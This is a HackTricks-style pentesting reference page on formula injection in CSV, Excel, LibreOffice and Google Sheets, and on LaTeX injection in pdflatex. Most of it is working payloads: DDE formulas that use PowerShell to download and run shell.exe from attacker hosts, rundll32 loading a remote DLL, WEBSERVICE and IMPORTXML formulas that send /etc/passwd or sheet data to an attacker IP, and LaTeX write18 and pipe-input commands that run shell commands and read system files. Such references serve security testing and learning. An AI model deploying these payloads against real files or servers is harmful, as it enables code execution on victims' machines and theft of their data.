Search K
Appearance
Appearance
Other ways to support HackTricks:
Try Hard Security Group
If your input is being reflected inside CSV files (or any other file that is probably going to be opened by Excel), you maybe able to put Excel formulas that will be executed when the user opens the file or when the user clicks on some link inside the excel sheet.
โ
Nowadays Excel will alert (several times) the user when something is loaded from outside the Excel in order to prevent him to from malicious action. Therefore, special effort on Social Engineering must be applied to he final payload.
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
The following example is very useful to exfiltrate content from the final excel sheet and to perform requests to arbitrary locations. But it requires the use to click on the link (and accept the warning prompts).
The following example was taken from https://payatu.com/csv-injection-basic-to-exploit
Imagine a security breach in a Student Record Management system is exploited through a CSV injection attack. The attacker's primary intention is to compromise the system used by teachers to manage student details. The method involves the attacker injecting a malicious payload into the application, specifically by entering harmful formulas into fields meant for student details. The attack unfolds as follows:
=HYPERLINK("<malicious_link>","Click here")
).Check the original post for further details.
In specific configurations or older versions of Excel, a feature called Dynamic Data Exchange (DDE) can be exploited for executing arbitrary commands. To leverage this, the following settings must be enabled:
When a spreadsheet with the malicious payload is opened (and if the user accepts the warnings), the payload is executed. For example, to launch the calculator application, the payload would be:
=cmd|' /C calc'!xxx
Additional commands can also be executed, such as downloading and executing a file using PowerShell:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
LibreOffice Calc can be used to read local files and exfiltrate data. Here are some methods:
/etc/passwd
file: ='file:///etc/passwd'#$passwd.A1
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets offers functions that can be exploited for OOB data exfiltration:
=CONCATENATE(A2:E2)
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
Usually the servers that will find on the internet that convert LaTeX code to PDF use pdflatex
.
This program uses 3 main attributes to (dis)allow command execution:
--no-shell-escape
: Disable the \write18{command}
construct, even if it is enabled in the texmf.cnf file.--shell-restricted
: Same as --shell-escape
, but limited to a 'safe' set of predefined **commands (**On Ubuntu 16.04 the list is in /usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Enable the \write18{command}
construct. The command can be any shell command. This construct is normally disallowed for security reasons.However, there are other ways to execute commands, so to avoid RCE it's very important to use --shell-restricted
.
You might need to adjust injection with wrappers as [ or $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
The input of the command will be redirected to stdin, use a temp file to get it.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
If you get any LaTex error, consider using base64 to get the result without bad characters
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
From @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Check https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Try Hard Security Group
Other ways to support HackTricks: